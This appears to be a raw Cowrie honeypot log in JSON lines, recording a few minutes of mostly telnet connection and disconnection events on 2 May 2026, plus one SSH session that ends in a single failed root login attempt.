{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":45296,"dst_ip":"10.17.0.5","dst_port":23,"session":"735173cb84e6","protocol":"telnet","message":"New connection: 62.210.97.77:45296 (10.17.0.5:23) [session: 735173cb84e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:56:23.658175Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":54038,"dst_ip":"10.17.0.5","dst_port":23,"session":"c034de0b5c7a","protocol":"telnet","message":"New connection: 165.232.131.181:54038 (10.17.0.5:23) [session: c034de0b5c7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:56:25.033019Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":45298,"dst_ip":"10.17.0.5","dst_port":23,"session":"b5236b25500f","protocol":"telnet","message":"New connection: 62.210.97.77:45298 (10.17.0.5:23) [session: b5236b25500f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:56:25.043269Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":45300,"dst_ip":"10.17.0.5","dst_port":23,"session":"9c0196d78b74","protocol":"telnet","message":"New connection: 62.210.97.77:45300 (10.17.0.5:23) [session: 9c0196d78b74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:56:26.557322Z"}
{"eventid":"cowrie.session.closed","duration":2.5166852474212646,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:56:27.549569Z","src_ip":"165.232.131.181","session":"c034de0b5c7a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.948442697525024,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:56:27.584949Z","src_ip":"62.210.97.77","session":"cd84177aefc7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.7949059009552,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:56:27.703170Z","src_ip":"62.210.97.77","session":"fee4b617db03","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.839804887771606,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:56:28.738985Z","src_ip":"65.60.27.33","session":"986913eff99b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":58722,"dst_ip":"10.17.0.5","dst_port":23,"session":"a3dc4dd00f69","protocol":"telnet","message":"New connection: 62.210.97.77:58722 (10.17.0.5:23) [session: a3dc4dd00f69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:56:30.627691Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":58738,"dst_ip":"10.17.0.5","dst_port":23,"session":"41b1e85fb578","protocol":"telnet","message":"New connection: 62.210.97.77:58738 (10.17.0.5:23) [session: 41b1e85fb578]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:56:31.035592Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":54310,"dst_ip":"10.17.0.5","dst_port":23,"session":"732d343cbc4b","protocol":"telnet","message":"New connection: 165.232.131.181:54310 (10.17.0.5:23) [session: 732d343cbc4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:56:31.680972Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":47474,"dst_ip":"10.17.0.5","dst_port":23,"session":"a88e7d106d3e","protocol":"telnet","message":"New connection: 38.54.119.93:47474 (10.17.0.5:23) [session: a88e7d106d3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:56:32.561030Z"}
{"eventid":"cowrie.session.closed","duration":34.43887281417847,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:56:34.367779Z","src_ip":"62.210.97.77","session":"88a3fe320896","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.472496509552,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:56:34.869697Z","src_ip":"62.210.97.77","session":"58b2848a603d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.620752573013306,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:56:36.301614Z","src_ip":"165.232.131.181","session":"732d343cbc4b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":25.511009693145752,"message":"Connection lost after 25 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:56:37.163676Z","src_ip":"165.232.131.181","session":"7b3c071e9e73","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":53.86183142662048,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:56:38.543388Z","src_ip":"65.60.27.33","session":"079c5bbbed87","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":60058,"dst_ip":"10.17.0.5","dst_port":23,"session":"7eb4cac57c5f","protocol":"telnet","message":"New connection: 165.232.131.181:60058 (10.17.0.5:23) [session: 7eb4cac57c5f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:56:39.995819Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":58948,"dst_ip":"10.17.0.5","dst_port":23,"session":"2cb2da0c1cb0","protocol":"telnet","message":"New connection: 62.210.97.77:58948 (10.17.0.5:23) [session: 2cb2da0c1cb0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:56:40.093696Z"}
{"eventid":"cowrie.session.closed","duration":36.60168433189392,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:56:42.835441Z","src_ip":"62.210.97.77","session":"da10c32ded2c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.30778384208679,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:56:44.075828Z","src_ip":"62.210.97.77","session":"9b64ce9c9072","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":50.47577500343323,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:56:44.373951Z","src_ip":"165.232.131.181","session":"6e44b71fdb76","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":58952,"dst_ip":"10.17.0.5","dst_port":23,"session":"935fbafe781a","protocol":"telnet","message":"New connection: 62.210.97.77:58952 (10.17.0.5:23) [session: 935fbafe781a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:56:45.048469Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":47324,"dst_ip":"10.17.0.5","dst_port":23,"session":"70badf8a4411","protocol":"telnet","message":"New connection: 65.60.27.33:47324 (10.17.0.5:23) [session: 70badf8a4411]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:56:47.557196Z"}
{"eventid":"cowrie.session.closed","duration":39.04938864707947,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:56:49.250348Z","src_ip":"65.60.27.33","session":"60a0384321eb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":41458,"dst_ip":"10.17.0.5","dst_port":23,"session":"f3bc981a1e19","protocol":"telnet","message":"New connection: 62.210.97.77:41458 (10.17.0.5:23) [session: f3bc981a1e19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:56:50.254406Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":41470,"dst_ip":"10.17.0.5","dst_port":23,"session":"6e083e55da8b","protocol":"telnet","message":"New connection: 62.210.97.77:41470 (10.17.0.5:23) [session: 6e083e55da8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:56:50.878474Z"}
{"eventid":"cowrie.session.closed","duration":34.93959379196167,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:56:51.108827Z","src_ip":"62.210.97.77","session":"a1b2c984e92f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.12196636199951,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:56:52.177272Z","src_ip":"165.232.131.181","session":"77751296a9a4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.83895301818848,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:56:52.327719Z","src_ip":"62.210.97.77","session":"989840d37ae5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":41476,"dst_ip":"10.17.0.5","dst_port":23,"session":"fba89448a68f","protocol":"telnet","message":"New connection: 62.210.97.77:41476 (10.17.0.5:23) [session: fba89448a68f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:56:53.124798Z"}
{"eventid":"cowrie.session.closed","duration":48.80596351623535,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:56:57.414278Z","src_ip":"65.60.27.33","session":"9c7c6def6cb7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":40218,"dst_ip":"10.17.0.5","dst_port":23,"session":"957ac44c9b7a","protocol":"telnet","message":"New connection: 165.232.131.181:40218 (10.17.0.5:23) [session: 957ac44c9b7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:56:57.457197Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":36022,"dst_ip":"10.17.0.5","dst_port":23,"session":"269e8f176ce7","protocol":"telnet","message":"New connection: 38.54.119.93:36022 (10.17.0.5:23) [session: 269e8f176ce7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:56:58.830743Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":40944,"dst_ip":"10.17.0.5","dst_port":23,"session":"16296d693074","protocol":"telnet","message":"New connection: 165.232.131.181:40944 (10.17.0.5:23) [session: 16296d693074]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:56:59.245726Z"}
{"eventid":"cowrie.session.closed","duration":34.883827924728394,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:56:59.926956Z","src_ip":"62.210.97.77","session":"b5236b25500f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":55880,"dst_ip":"10.17.0.5","dst_port":23,"session":"86823c706ab5","protocol":"telnet","message":"New connection: 62.210.97.77:55880 (10.17.0.5:23) [session: 86823c706ab5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:57:00.202049Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":55896,"dst_ip":"10.17.0.5","dst_port":23,"session":"2678f52fa46f","protocol":"telnet","message":"New connection: 62.210.97.77:55896 (10.17.0.5:23) [session: 2678f52fa46f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:57:02.281458Z"}
{"eventid":"cowrie.session.closed","duration":38.708653688430786,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:57:02.366719Z","src_ip":"62.210.97.77","session":"735173cb84e6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":39378,"dst_ip":"10.17.0.5","dst_port":23,"session":"d254c4b778e6","protocol":"telnet","message":"New connection: 165.232.131.181:39378 (10.17.0.5:23) [session: d254c4b778e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:57:02.466220Z"}
{"eventid":"cowrie.session.closed","duration":5.46919322013855,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:57:04.299784Z","src_ip":"38.54.119.93","session":"269e8f176ce7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.819326639175415,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:57:04.854831Z","src_ip":"62.210.97.77","session":"41b1e85fb578","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":55908,"dst_ip":"10.17.0.5","dst_port":23,"session":"91646f1cd2de","protocol":"telnet","message":"New connection: 62.210.97.77:55908 (10.17.0.5:23) [session: 91646f1cd2de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:57:04.919191Z"}
{"eventid":"cowrie.session.closed","duration":38.69482636451721,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:57:05.252040Z","src_ip":"62.210.97.77","session":"9c0196d78b74","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":55916,"dst_ip":"10.17.0.5","dst_port":23,"session":"a34f7c8d4988","protocol":"telnet","message":"New connection: 62.210.97.77:55916 (10.17.0.5:23) [session: a34f7c8d4988]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:57:06.445464Z"}
{"eventid":"cowrie.session.closed","duration":36.02075457572937,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:57:06.648334Z","src_ip":"62.210.97.77","session":"a3dc4dd00f69","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":43656,"dst_ip":"10.17.0.5","dst_port":23,"session":"847d98cff7d1","protocol":"telnet","message":"New connection: 165.232.131.181:43656 (10.17.0.5:23) [session: 847d98cff7d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:57:06.903056Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":41996,"dst_ip":"10.17.0.5","dst_port":23,"session":"b08666a7ba26","protocol":"telnet","message":"New connection: 38.54.119.93:41996 (10.17.0.5:23) [session: b08666a7ba26]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:57:07.168255Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":55928,"dst_ip":"10.17.0.5","dst_port":23,"session":"9c4a96cd4b1d","protocol":"telnet","message":"New connection: 62.210.97.77:55928 (10.17.0.5:23) [session: 9c4a96cd4b1d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:57:08.352107Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":43734,"dst_ip":"10.17.0.5","dst_port":23,"session":"1e12eb91e48b","protocol":"telnet","message":"New connection: 165.232.131.181:43734 (10.17.0.5:23) [session: 1e12eb91e48b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:57:09.076257Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":44564,"dst_ip":"10.17.0.5","dst_port":23,"session":"99b19439cf51","protocol":"telnet","message":"New connection: 65.60.27.33:44564 (10.17.0.5:23) [session: 99b19439cf51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:57:09.916084Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":50420,"dst_ip":"10.17.0.5","dst_port":23,"session":"165520c16905","protocol":"telnet","message":"New connection: 62.210.97.77:50420 (10.17.0.5:23) [session: 165520c16905]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:57:11.982442Z"}
{"eventid":"cowrie.session.closed","duration":33.35520601272583,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:57:13.448812Z","src_ip":"62.210.97.77","session":"2cb2da0c1cb0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":6.672034502029419,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:57:13.840111Z","src_ip":"38.54.119.93","session":"b08666a7ba26","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":50422,"dst_ip":"10.17.0.5","dst_port":23,"session":"12dd8e580bcb","protocol":"telnet","message":"New connection: 62.210.97.77:50422 (10.17.0.5:23) [session: 12dd8e580bcb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:57:15.068449Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":47392,"dst_ip":"10.17.0.5","dst_port":23,"session":"8ab0f4cb7c64","protocol":"telnet","message":"New connection: 165.232.131.181:47392 (10.17.0.5:23) [session: 8ab0f4cb7c64]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:57:16.005710Z"}
{"eventid":"cowrie.session.connect","src_ip":"187.16.96.250","src_port":41886,"dst_ip":"10.17.0.5","dst_port":22,"session":"87ee15cde8b4","protocol":"ssh","message":"New connection: 187.16.96.250:41886 (10.17.0.5:22) [session: 87ee15cde8b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:57:18.198143Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:57:18.202980Z","src_ip":"187.16.96.250","session":"87ee15cde8b4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:57:18.322945Z","src_ip":"187.16.96.250","session":"87ee15cde8b4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.477434396743774,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:57:18.525765Z","src_ip":"62.210.97.77","session":"935fbafe781a","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"test9999","message":"login attempt [root/test9999] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:57:18.821680Z","src_ip":"187.16.96.250","session":"87ee15cde8b4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":54076,"dst_ip":"10.17.0.5","dst_port":23,"session":"b2a9d849fc64","protocol":"telnet","message":"New connection: 65.60.27.33:54076 (10.17.0.5:23) [session: b2a9d849fc64]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:57:19.556055Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":49240,"dst_ip":"10.17.0.5","dst_port":23,"session":"2793b44d307e","protocol":"telnet","message":"New connection: 165.232.131.181:49240 (10.17.0.5:23) [session: 2793b44d307e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:57:19.749755Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:57:19.940981Z","src_ip":"187.16.96.250","session":"87ee15cde8b4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":33266,"dst_ip":"10.17.0.5","dst_port":23,"session":"0fdca0443735","protocol":"telnet","message":"New connection: 62.210.97.77:33266 (10.17.0.5:23) [session: 0fdca0443735]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:57:22.827617Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":33274,"dst_ip":"10.17.0.5","dst_port":23,"session":"71dec08cb26e","protocol":"telnet","message":"New connection: 62.210.97.77:33274 (10.17.0.5:23) [session: 71dec08cb26e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:57:23.634791Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":50702,"dst_ip":"10.17.0.5","dst_port":23,"session":"c40ffb2f5bd9","protocol":"telnet","message":"New connection: 165.232.131.181:50702 (10.17.0.5:23) [session: c40ffb2f5bd9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:57:24.366746Z"}
{"eventid":"cowrie.session.closed","duration":37.032344579696655,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:57:24.589442Z","src_ip":"65.60.27.33","session":"70badf8a4411","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.911263942718506,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:57:26.165508Z","src_ip":"62.210.97.77","session":"f3bc981a1e19","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.22633719444275,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:57:26.351060Z","src_ip":"62.210.97.77","session":"fba89448a68f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.402766942977905,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:57:26.398491Z","src_ip":"165.232.131.181","session":"7eb4cac57c5f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.718950033187866,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:57:26.597311Z","src_ip":"62.210.97.77","session":"6e083e55da8b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":36050,"dst_ip":"10.17.0.5","dst_port":23,"session":"95c829250a0d","protocol":"telnet","message":"New connection: 65.60.27.33:36050 (10.17.0.5:23) [session: 95c829250a0d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:57:26.998642Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":33280,"dst_ip":"10.17.0.5","dst_port":23,"session":"6e8424009035","protocol":"telnet","message":"New connection: 62.210.97.77:33280 (10.17.0.5:23) [session: 6e8424009035]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:57:27.027832Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":33282,"dst_ip":"10.17.0.5","dst_port":23,"session":"41caaab29ffc","protocol":"telnet","message":"New connection: 62.210.97.77:33282 (10.17.0.5:23) [session: 41caaab29ffc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:57:27.700256Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":33286,"dst_ip":"10.17.0.5","dst_port":23,"session":"1da6e2ee66d2","protocol":"telnet","message":"New connection: 62.210.97.77:33286 (10.17.0.5:23) [session: 1da6e2ee66d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:57:27.939071Z"}
